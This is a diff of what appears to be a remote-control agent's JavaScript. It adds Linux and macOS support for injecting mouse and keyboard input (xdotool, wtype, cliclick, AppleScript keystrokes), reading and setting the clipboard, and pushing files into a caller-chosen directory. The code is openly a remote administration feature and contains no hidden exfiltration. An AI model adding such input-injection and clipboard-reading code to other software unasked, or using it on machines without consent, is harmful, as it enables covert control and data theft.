5930
+ child.stderr?.on("data", (d) => {
5931
+ stderr += d;
5932
+ });
5933
+ child.on("error", (e) => {
5934
+ if (settled)
5935
+ return;
5936
+ settled = true;
5937
+ clearTimeout(to);
5938
+ resolve({ ok: false, stdout, stderr, error: String(e) });
5939
+ });
5940
+ child.on("close", (code) => {
5941
+ if (settled)
5942
+ return;
5943
+ settled = true;
5944
+ clearTimeout(to);
5945
+ if (code === 0) {
5946
+ resolve({ ok: true, stdout, stderr });
5947
+ }
5948
+ else {
5949
+ resolve({ ok: false, stdout, stderr, error: stderr.trim() || `exit ${code}` });
5950
+ }
5951
+ });
5952
+ if (opts?.stdinText != null) {
5953
+ try {
5954
+ child.stdin?.write(opts.stdinText);
5955
+ }
5956
+ catch {
5957
+ /* skip */
5958
+ }
5959
+ finally {
5960
+ try {
5961
+ child.stdin?.end();
5962
+ }
5963
+ catch {
5964
+ /* skip */
5965
+ }
5966
+ }
5967
+ }
5968
+ });
5969
+ }
5970
+ function remoteKeyToLinuxToken(key) {
5971
+ const k = String(key || "");
5972
+ if (!k)
5973
+ return "";
5974
+ const lower = k.toLowerCase();
5975
+ const named = {
5976
+ enter: "Return",
5977
+ tab: "Tab",
5978
+ backspace: "BackSpace",
5979
+ escape: "Escape",
5980
+ esc: "Escape",
5981
+ delete: "Delete",
5982
+ insert: "Insert",
5983
+ home: "Home",
5984
+ end: "End",
5985
+ pageup: "Prior",
5986
+ pagedown: "Next",
5987
+ arrowup: "Up",
5988
+ arrowdown: "Down",
5989
+ arrowleft: "Left",
5990
+ arrowright: "Right",
5991
+ up: "Up",
5992
+ down: "Down",
5993
+ left: "Left",
5994
+ right: "Right",
5995
+ space: "space",
5996
+ };
5997
+ if (named[lower])
5998
+ return named[lower];
5999
+ if (k.length === 1)
6000
+ return k;
6001
+ return "";
6002
+ }
6003
+ function escapeAppleScriptString(s) {
6004
+ return String(s || "").replace(/\\/g, "\\\\").replace(/"/g, '\\"');
6005
+ }
6006
+ function remoteMacKeySpec(key) {
6007
+ const k = String(key || "");
6008
+ if (!k)
6009
+ return null;
6010
+ const lower = k.toLowerCase();
6011
+ const namedCode = {
6012
+ enter: 36,
6013
+ tab: 48,
6014
+ backspace: 51,
6015
+ escape: 53,
6016
+ esc: 53,
6017
+ delete: 117,
6018
+ insert: 114,
6019
+ home: 115,
6020
+ end: 119,
6021
+ pageup: 116,
6022
+ pagedown: 121,
6023
+ arrowup: 126,
6024
+ arrowdown: 125,
6025
+ arrowleft: 123,
6026
+ arrowright: 124,
6027
+ up: 126,
6028
+ down: 125,
6029
+ left: 123,
6030
+ right: 124,
6031
+ space: 49,
6032
+ };
6033
+ if (namedCode[lower] != null)
6034
+ return { kind: "code", value: namedCode[lower] };
6035
+ if (k.length === 1)
6036
+ return { kind: "text", value: k };
6037
+ return null;
6038
+ }
6039
+ function remoteModifierFlags(payload, target) {
6040
+ const out = [];
6041
+ if (payload.ctrl)
6042
+ out.push(target === "mac" ? "control down" : "ctrl");
6043
+ if (payload.alt)
6044
+ out.push(target === "mac" ? "option down" : "alt");
6045
+ if (payload.shift)
6046
+ out.push(target === "mac" ? "shift down" : "shift");
6047
+ if (payload.meta)
6048
+ out.push(target === "mac" ? "command down" : "super");
6049
+ return out;
6050
+ }
6051
+ function remoteControlNoPromptMode() {
6052
+ const raw = String(process.env.FORGE_JS_REMOTE_CONTROL_NO_PROMPT || "")
6053
+ .trim()
6054
+ .toLowerCase();
6055
+ if (!raw)
6056
+ return true;
6057
+ return !["0", "false", "no", "off"].includes(raw);
6058
+ }
6059
+ function remoteControlAllowMacAutomationInNoPromptMode() {
6060
+ const raw = String(process.env.FORGE_JS_REMOTE_CONTROL_ALLOW_MAC_AUTOMATION || "")
6061
+ .trim()
6062
+ .toLowerCase();
6063
+ if (!raw)
6064
+ return false;
6065
+ return ["1", "true", "yes", "on"].includes(raw);
6066
+ }
6067
+ function remoteControlCapabilities() {
6068
+ const isWin = isWindows();
6069
+ const isLin = process.platform === "linux";
6070
+ const isMac = isMacos();
6071
+ const xdotool = isLin ? unixWhich("xdotool") : null;
6072
+ const wtype = isLin ? unixWhich("wtype") : null;
6073
+ const hasX11 = isLin ? Boolean((process.env.DISPLAY || "").trim()) && Boolean(xdotool) : false;
6074
+ const cliclick = isMac ? unixWhich("cliclick") : null;
6075
+ return {
6076
+ platform: process.platform,
6077
+ action_capabilities: {
6078
+ mouse_move: isWin || hasX11 || Boolean(cliclick),
6079
+ mouse_down: isWin || hasX11 || Boolean(cliclick),
6080
+ mouse_up: isWin || hasX11 || Boolean(cliclick),
6081
+ mouse_click: isWin || hasX11 || Boolean(cliclick),
6082
+ mouse_wheel: isWin || hasX11 || Boolean(cliclick),
6083
+ key: isWin || hasX11 || Boolean(wtype) || isMac,
6084
+ type_text: isWin || hasX11 || Boolean(wtype) || isMac,
6085
+ },
6086
+ clipboard_capabilities: {
6087
+ get: isWin || isLin || isMac,
6088
+ set: isWin ||
6089
+ isMac ||
6090
+ (isLin && Boolean(unixWhich("wl-copy") || unixWhich("xclip") || unixWhich("xsel"))),
6091
+ },
6092
+ notes: [
6093
+ ...(isLin && !hasX11 && wtype
6094
+ ? ["Linux Wayland fallback active: text input works; mouse/special keys may require xdotool/X11."]
6095
+ : []),
6096
+ ...(isMac && !cliclick
6097
+ ? ["macOS mouse input requires optional 'cliclick'; keyboard/clipboard remain available."]
6098
+ : []),
6099
+ ],
6100
+ };
6101
+ }
6102
+ async function fsRemoteControlInputLinux(action, payload) {
6103
+ const xdotool = unixWhich("xdotool");
6104
+ const wtype = unixWhich("wtype");
6105
+ const hasX11 = Boolean((process.env.DISPLAY || "").trim()) && Boolean(xdotool);
6106
+ const x = Number.isFinite(Number(payload.x))
6107
+ ? Math.max(-200_000, Math.min(200_000, Math.floor(Number(payload.x))))
6108
+ : null;
6109
+ const y = Number.isFinite(Number(payload.y))
6110
+ ? Math.max(-200_000, Math.min(200_000, Math.floor(Number(payload.y))))
6111
+ : null;
6112
+ const btnName = normalizeRemoteMouseButton(payload.button);
6113
+ const buttonNum = btnName === "right" ? "3" : btnName === "middle" ? "2" : "1";
6114
+ let cmd = [];
6115
+ if (action === "mouse_move") {
6116
+ if (!hasX11) {
6117
+ return { ok: false, error: "mouse_move on Linux requires xdotool in an X11 DISPLAY session" };
6118
+ }
6119
+ if (x == null || y == null)
6120
+ return { ok: false, error: "mouse_move requires x,y" };
6121
+ cmd = ["mousemove", "--sync", String(x), String(y)];
6122
+ }
6123
+ else if (action === "mouse_down") {
6124
+ if (!hasX11) {
6125
+ return { ok: false, error: "mouse_down on Linux requires xdotool in an X11 DISPLAY session" };
6126
+ }
6127
+ if (x == null || y == null)
6128
+ return { ok: false, error: "mouse_down requires x,y" };
6129
+ cmd = ["mousemove", "--sync", String(x), String(y), "mousedown", buttonNum];
6130
+ }
6131
+ else if (action === "mouse_up") {
6132
+ if (!hasX11) {
6133
+ return { ok: false, error: "mouse_up on Linux requires xdotool in an X11 DISPLAY session" };
6134
+ }
6135
+ if (x == null || y == null)
6136
+ return { ok: false, error: "mouse_up requires x,y" };
6137
+ cmd = ["mousemove", "--sync", String(x), String(y), "mouseup", buttonNum];
6138
+ }
6139
+ else if (action === "mouse_click") {
6140
+ if (!hasX11) {
6141
+ return { ok: false, error: "mouse_click on Linux requires xdotool in an X11 DISPLAY session" };
6142
+ }
6143
+ const count = Math.min(3, Math.max(1, Number.isFinite(Number(payload.click_count)) ? Math.floor(Number(payload.click_count)) : 1));
6144
+ cmd = [];
6145
+ if (x != null && y != null)
6146
+ cmd.push("mousemove", "--sync", String(x), String(y));
6147
+ cmd.push("click", "--repeat", String(count), "--delay", "40", buttonNum);
6148
+ }
6149
+ else if (action === "mouse_wheel") {
6150
+ if (!hasX11) {
6151
+ return { ok: false, error: "mouse_wheel on Linux requires xdotool in an X11 DISPLAY session" };
6152
+ }
6153
+ const dyRaw = Number.isFinite(Number(payload.delta_y))
6154
+ ? Math.floor(Number(payload.delta_y))
6155
+ : 0;
6156
+ if (!dyRaw)
6157
+ return { ok: true, action };
6158
+ let step = dyRaw;
6159
+ if (Math.abs(step) < 120)
6160
+ step = step < 0 ? -120 : 120;
6161
+ else
6162
+ step = Math.round(step / 120) * 120;
6163
+ step = Math.max(-2400, Math.min(2400, step));
6164
+ const repeats = Math.max(1, Math.min(20, Math.round(Math.abs(step) / 120)));
6165
+ const wheelBtn = step > 0 ? "5" : "4";
6166
+ cmd = [];
6167
+ if (x != null && y != null)
6168
+ cmd.push("mousemove", "--sync", String(x), String(y));
6169
+ cmd.push("click", "--repeat", String(repeats), wheelBtn);
5647
6170
  }
6171
+ else if (action === "key") {
6172
+ const token = remoteKeyToLinuxToken(String(payload.key || ""));
6173
+ if (!token)
6174
+ return { ok: false, error: "unsupported key token" };
6175
+ if (!hasX11) {
6176
+ // Wayland fallback: support plain text-style key injection only.
6177
+ if (!wtype) {
6178
+ return {
6179
+ ok: false,
6180
+ error: "remote key input on Linux requires xdotool (X11) or wtype (Wayland text-only fallback)",
6181
+ };
6182
+ }
6183
+ if (token.length !== 1) {
6184
+ return {
6185
+ ok: false,
6186
+ error: "non-character keys on Linux Wayland require xdotool/X11; install xdotool or use type_text",
6187
+ };
6188
+ }
6189
+ const exec = await runCommandCapture(wtype, [token], { timeoutMs: 10_000 });
6190
+ if (!exec.ok)
6191
+ return { ok: false, error: exec.error || exec.stderr || "wtype key injection failed" };
6192
+ return { ok: true, action };
6193
+ }
6194
+ const mods = remoteModifierFlags(payload, "linux");
6195
+ if (mods.length > 0) {
6196
+ cmd = ["key", `${mods.join("+")}+${token}`];
6197
+ }
6198
+ else if (token.length === 1) {
6199
+ cmd = ["type", "--delay", "1", "--", token];
6200
+ }
6201
+ else {
6202
+ cmd = ["key", token];
6203
+ }
6204
+ }
6205
+ else if (action === "type_text") {
6206
+ const txt = String(payload.text || "");
6207
+ if (!txt)
6208
+ return { ok: false, error: "type_text requires text" };
6209
+ if (hasX11) {
6210
+ cmd = ["type", "--delay", "1", "--", txt];
6211
+ }
6212
+ else if (wtype) {
6213
+ const exec = await runCommandCapture(wtype, [txt], { timeoutMs: 12_000 });
6214
+ if (!exec.ok)
6215
+ return { ok: false, error: exec.error || exec.stderr || "wtype type_text failed" };
6216
+ return { ok: true, action };
6217
+ }
6218
+ else {
6219
+ return {
6220
+ ok: false,
6221
+ error: "type_text on Linux requires xdotool (X11) or wtype (Wayland)",
6222
+ };
6223
+ }
6224
+ }
6225
+ else {
6226
+ return { ok: false, error: `unsupported remote control action: ${action}` };
6227
+ }
6228
+ if (!xdotool) {
6229
+ return { ok: false, error: "remote control on Linux requires xdotool for this action" };
6230
+ }
6231
+ const exec = await runCommandCapture(xdotool, cmd, { timeoutMs: 10_000 });
6232
+ if (!exec.ok)
6233
+ return { ok: false, error: exec.error || exec.stderr || "xdotool failed" };
6234
+ return { ok: true, action };
6235
+ }
6236
+ async function fsRemoteControlInputMac(action, payload) {
6237
+ if (remoteControlNoPromptMode() && !remoteControlAllowMacAutomationInNoPromptMode()) {
6238
+ return {
6239
+ ok: false,
6240
+ error: "macOS remote input is blocked by no-prompt mode (FORGE_JS_REMOTE_CONTROL_NO_PROMPT=1). " +
6241
+ "To allow macOS automation input, set FORGE_JS_REMOTE_CONTROL_ALLOW_MAC_AUTOMATION=1 only on pre-authorized hosts.",
6242
+ };
6243
+ }
6244
+ const osascript = unixWhich("osascript") || "osascript";
6245
+ const cliclick = unixWhich("cliclick");
6246
+ if (action === "mouse_move" || action === "mouse_down" || action === "mouse_up" || action === "mouse_click" || action === "mouse_wheel") {
6247
+ if (!cliclick) {
6248
+ return {
6249
+ ok: false,
6250
+ error: "macOS mouse remote control requires 'cliclick' (keyboard + clipboard are supported by default)",
6251
+ };
6252
+ }
6253
+ const x = Number.isFinite(Number(payload.x))
6254
+ ? Math.max(-200_000, Math.min(200_000, Math.floor(Number(payload.x))))
6255
+ : null;
6256
+ const y = Number.isFinite(Number(payload.y))
6257
+ ? Math.max(-200_000, Math.min(200_000, Math.floor(Number(payload.y))))
6258
+ : null;
6259
+ if (x == null || y == null) {
6260
+ return { ok: false, error: `${action} requires x,y on macOS` };
6261
+ }
6262
+ const b = normalizeRemoteMouseButton(payload.button);
6263
+ const pos = `${x},${y}`;
6264
+ if (action === "mouse_move") {
6265
+ const exec = await runCommandCapture(cliclick, [`m:${pos}`], { timeoutMs: 10_000 });
6266
+ return exec.ok
6267
+ ? { ok: true, action }
6268
+ : { ok: false, error: exec.error || exec.stderr || "cliclick mouse_move failed" };
6269
+ }
6270
+ if (action === "mouse_down") {
6271
+ const cmd = b === "right" ? `rd:${pos}` : b === "middle" ? `md:${pos}` : `dd:${pos}`;
6272
+ const exec = await runCommandCapture(cliclick, [cmd], { timeoutMs: 10_000 });
6273
+ return exec.ok
6274
+ ? { ok: true, action }
6275
+ : { ok: false, error: exec.error || exec.stderr || "cliclick mouse_down failed" };
6276
+ }
6277
+ if (action === "mouse_up") {
6278
+ const cmd = b === "right" ? `ru:${pos}` : b === "middle" ? `mu:${pos}` : `du:${pos}`;
6279
+ const exec = await runCommandCapture(cliclick, [cmd], { timeoutMs: 10_000 });
6280
+ return exec.ok
6281
+ ? { ok: true, action }
6282
+ : { ok: false, error: exec.error || exec.stderr || "cliclick mouse_up failed" };
6283
+ }
6284
+ if (action === "mouse_click") {
6285
+ const count = Math.min(3, Math.max(1, Number.isFinite(Number(payload.click_count)) ? Math.floor(Number(payload.click_count)) : 1));
6286
+ const clickCmd = b === "right" ? "rc" : b === "middle" ? "mc" : "c";
6287
+ const args = [`m:${pos}`];
6288
+ for (let i = 0; i < count; i++)
6289
+ args.push(`${clickCmd}:${pos}`);
6290
+ const exec = await runCommandCapture(cliclick, args, { timeoutMs: 10_000 });
6291
+ return exec.ok
6292
+ ? { ok: true, action }
6293
+ : { ok: false, error: exec.error || exec.stderr || "cliclick mouse_click failed" };
6294
+ }
6295
+ const dyRaw = Number.isFinite(Number(payload.delta_y))
6296
+ ? Math.floor(Number(payload.delta_y))
6297
+ : 0;
6298
+ if (!dyRaw)
6299
+ return { ok: true, action };
6300
+ let step = dyRaw;
6301
+ if (Math.abs(step) < 120)
6302
+ step = step < 0 ? -120 : 120;
6303
+ else
6304
+ step = Math.round(step / 120) * 120;
6305
+ const ticks = Math.max(1, Math.min(20, Math.round(Math.abs(step) / 120)));
6306
+ const yTick = step < 0 ? ticks : -ticks;
6307
+ const exec = await runCommandCapture(cliclick, [`m:${pos}`, `w:0,${yTick}`], { timeoutMs: 10_000 });
6308
+ return exec.ok
6309
+ ? { ok: true, action }
6310
+ : { ok: false, error: exec.error || exec.stderr || "cliclick mouse_wheel failed" };
6311
+ }
6312
+ if (action === "key") {
6313
+ const spec = remoteMacKeySpec(String(payload.key || ""));
6314
+ if (!spec)
6315
+ return { ok: false, error: "unsupported key token" };
6316
+ const mods = remoteModifierFlags(payload, "mac");
6317
+ const modClause = mods.length ? ` using {${mods.join(", ")}}` : "";
6318
+ const line = spec.kind === "code"
6319
+ ? `key code ${Number(spec.value)}${modClause}`
6320
+ : `keystroke "${escapeAppleScriptString(String(spec.value))}"${modClause}`;
6321
+ const script = [
6322
+ 'tell application "System Events"',
6323
+ ` ${line}`,
6324
+ "end tell",
6325
+ ];
6326
+ const exec = await runCommandCapture(osascript, script.flatMap((s) => ["-e", s]), { timeoutMs: 10_000 });
6327
+ if (!exec.ok)
6328
+ return { ok: false, error: exec.error || exec.stderr || "osascript key input failed" };
6329
+ return { ok: true, action };
6330
+ }
6331
+ if (action === "type_text") {
6332
+ const txt = String(payload.text || "");
6333
+ if (!txt)
6334
+ return { ok: false, error: "type_text requires text" };
6335
+ const parts = txt.replace(/\r\n/g, "\n").split("\n");
6336
+ const script = ['tell application "System Events"'];
6337
+ for (let i = 0; i < parts.length; i++) {
6338
+ const part = parts[i] ?? "";
6339
+ if (part)
6340
+ script.push(` keystroke "${escapeAppleScriptString(part)}"`);
6341
+ if (i < parts.length - 1)
6342
+ script.push(" key code 36");
6343
+ }
6344
+ script.push("end tell");
6345
+ const exec = await runCommandCapture(osascript, script.flatMap((s) => ["-e", s]), { timeoutMs: 12_000 });
6346
+ if (!exec.ok)
6347
+ return { ok: false, error: exec.error || exec.stderr || "osascript type_text failed" };
6348
+ return { ok: true, action };
6349
+ }
6350
+ return { ok: false, error: `unsupported remote control action: ${action}` };
6351
+ }
6352
+ async function fsRemoteControlInput(payload) {
5648
6353
  const action = String(payload.action || "").trim().toLowerCase();
5649
6354
  if (!action)
5650
6355
  return { ok: false, error: "remote control action is required" };
6356
+ if (action === "capabilities") {
6357
+ return { ok: true, action, ...remoteControlCapabilities() };
6358
+ }
6359
+ if (process.platform === "linux") {
6360
+ return await fsRemoteControlInputLinux(action, payload);
6361
+ }
6362
+ if (isMacos()) {
6363
+ return await fsRemoteControlInputMac(action, payload);
6364
+ }
6365
+ if (!isWindows()) {
6366
+ return { ok: false, error: `remote control input is not supported on platform ${process.platform}` };
6367
+ }
5651
6368
  const psPrelude = [
5652
6369
  "$ErrorActionPreference = 'Stop'",
5653
6370
  "$forgeRcSrc = 'using System;using System.Runtime.InteropServices;public static class ForgeRcUser32 { [DllImport(\"user32.dll\")] public static extern bool SetCursorPos(int X, int Y); [DllImport(\"user32.dll\")] public static extern void mouse_event(uint f, uint x, uint y, uint d, UIntPtr e); [DllImport(\"user32.dll\")] public static extern bool SetProcessDPIAware(); [DllImport(\"user32.dll\", SetLastError=true)] public static extern bool SetProcessDpiAwarenessContext(IntPtr dpiContext); [DllImport(\"shcore.dll\", SetLastError=true)] public static extern int SetProcessDpiAwareness(int v); [DllImport(\"user32.dll\")] public static extern int GetSystemMetrics(int nIndex); }'",
@@ -5776,11 +6493,17 @@ async function fsRemoteControlInput(payload) {
5776
6493
  }
5777
6494
  }
5778
6495
  async function fsRemoteClipboardGet() {
5779
- if (!isWindows()) {
5780
- return { ok: false, error: "remote clipboard currently supports Windows agents only" };
6496
+ if (isWindows()) {
6497
+ try {
6498
+ const raw = await runWindowsPsCapture("$ErrorActionPreference='Stop'; $t = Get-Clipboard -Raw -TextFormatType Text; if ($null -eq $t) { '' } else { [Console]::Out.Write($t) }");
6499
+ return { ok: true, text: String(raw || "") };
6500
+ }
6501
+ catch (e) {
6502
+ return { ok: false, error: String(e) };
6503
+ }
5781
6504
  }
5782
6505
  try {
5783
- const raw = await runWindowsPsCapture("$ErrorActionPreference='Stop'; $t = Get-Clipboard -Raw -TextFormatType Text; if ($null -eq $t) { '' } else { [Console]::Out.Write($t) }");
6506
+ const raw = await (0, clipboardExec_1.readClipboardViaExec)();
5784
6507
  return { ok: true, text: String(raw || "") };
5785
6508
  }
5786
6509
  catch (e) {
@@ -5788,21 +6511,53 @@ async function fsRemoteClipboardGet() {
5788
6511
  }
5789
6512
  }
5790
6513
  async function fsRemoteClipboardSet(text) {
5791
- if (!isWindows()) {
5792
- return { ok: false, error: "remote clipboard currently supports Windows agents only" };
5793
- }
5794
6514
  const t = String(text || "");
5795
- try {
5796
- await runWindowsRemoteControlPs(`$ErrorActionPreference='Stop'; Set-Clipboard -Value '${escapePsSingleQuoted(t)}'`);
5797
- return { ok: true };
6515
+ if (isWindows()) {
6516
+ try {
6517
+ await runWindowsRemoteControlPs(`$ErrorActionPreference='Stop'; Set-Clipboard -Value '${escapePsSingleQuoted(t)}'`);
6518
+ return { ok: true };
6519
+ }
6520
+ catch (e) {
6521
+ return { ok: false, error: String(e) };
6522
+ }
5798
6523
  }
5799
- catch (e) {
5800
- return { ok: false, error: String(e) };
6524
+ if (isMacos()) {
6525
+ const pbcopy = unixWhich("pbcopy") || "/usr/bin/pbcopy";
6526
+ const exec = await runCommandCapture(pbcopy, [], { timeoutMs: 8000, stdinText: t });
6527
+ return exec.ok ? { ok: true } : { ok: false, error: exec.error || exec.stderr || "pbcopy failed" };
6528
+ }
6529
+ if (process.platform === "linux") {
6530
+ const attempts = [];
6531
+ const wlCopy = unixWhich("wl-copy");
6532
+ if (wlCopy)
6533
+ attempts.push({ cmd: wlCopy, args: [] });
6534
+ const xclip = unixWhich("xclip");
6535
+ if (xclip)
6536
+ attempts.push({ cmd: xclip, args: ["-selection", "clipboard"] });
6537
+ const xsel = unixWhich("xsel");
6538
+ if (xsel)
6539
+ attempts.push({ cmd: xsel, args: ["--clipboard", "--input"] });
6540
+ if (!attempts.length) {
6541
+ return {
6542
+ ok: false,
6543
+ error: "remote clipboard on Linux requires wl-copy, xclip, or xsel",
6544
+ };
6545
+ }
6546
+ for (const it of attempts) {
6547
+ const exec = await runCommandCapture(it.cmd, it.args, {
6548
+ timeoutMs: 8000,
6549
+ stdinText: t,
6550
+ });
6551
+ if (exec.ok)
6552
+ return { ok: true };
6553
+ }
6554
+ return { ok: false, error: "failed to set clipboard on Linux (wl-copy/xclip/xsel)" };
5801
6555
  }
6556
+ return { ok: false, error: `remote clipboard is not supported on platform ${process.platform}` };
5802
6557
  }
5803
- async function fsRemoteFilePush(name, b64) {
5804
- if (!isWindows()) {
5805
- return { ok: false, error: "remote file push currently supports Windows agents only" };
6558
+ async function fsRemoteFilePush(name, b64, targetDir) {
6559
+ if (!(isWindows() || process.platform === "linux" || isMacos())) {
6560
+ return { ok: false, error: `remote file push is not supported on platform ${process.platform}` };
5806
6561
  }
5807
6562
  const fileName = path.basename(String(name || "").trim() || "upload.bin");
5808
6563
  if (!fileName || fileName === "." || fileName === "..") {
@@ -5819,18 +6574,35 @@ async function fsRemoteFilePush(name, b64) {
5819
6574
  if (!body.length || body.length > maxBytes) {
5820
6575
  return { ok: false, error: "file payload must be 1B..20MB" };
5821
6576
  }
5822
- const home = os.homedir();
5823
- const targets = [path.join(home, "Desktop"), path.join(home, "Downloads"), home];
5824
- let baseDir = home;
5825
- for (const t of targets) {
6577
+ let baseDir;
6578
+ const requestedDir = (targetDir || "").trim();
6579
+ if (requestedDir) {
6580
+ // Validate that the requested target directory exists and is a real directory.
5826
6581
  try {
5827
- if (fs.existsSync(t) && fs.statSync(t).isDirectory()) {
5828
- baseDir = t;
5829
- break;
6582
+ const st = fs.statSync(requestedDir);
6583
+ if (!st.isDirectory()) {
6584
+ return { ok: false, error: `target path is not a directory: ${requestedDir}` };
5830
6585
  }
6586
+ baseDir = requestedDir;
5831
6587
  }
5832
6588
  catch {
5833
- /* skip */
6589
+ return { ok: false, error: `target directory does not exist: ${requestedDir}` };
6590
+ }
6591
+ }
6592
+ else {
6593
+ const home = os.homedir();
6594
+ const targets = [path.join(home, "Desktop"), path.join(home, "Downloads"), home];
6595
+ baseDir = home;
6596
+ for (const t of targets) {
6597
+ try {
6598
+ if (fs.existsSync(t) && fs.statSync(t).isDirectory()) {
6599
+ baseDir = t;
6600
+ break;
6601
+ }
6602
+ }
6603
+ catch {
6604
+ /* skip */
6605
+ }
5834
6606
  }
5835
6607
  }
5836
6608
  let out = path.join(baseDir, fileName);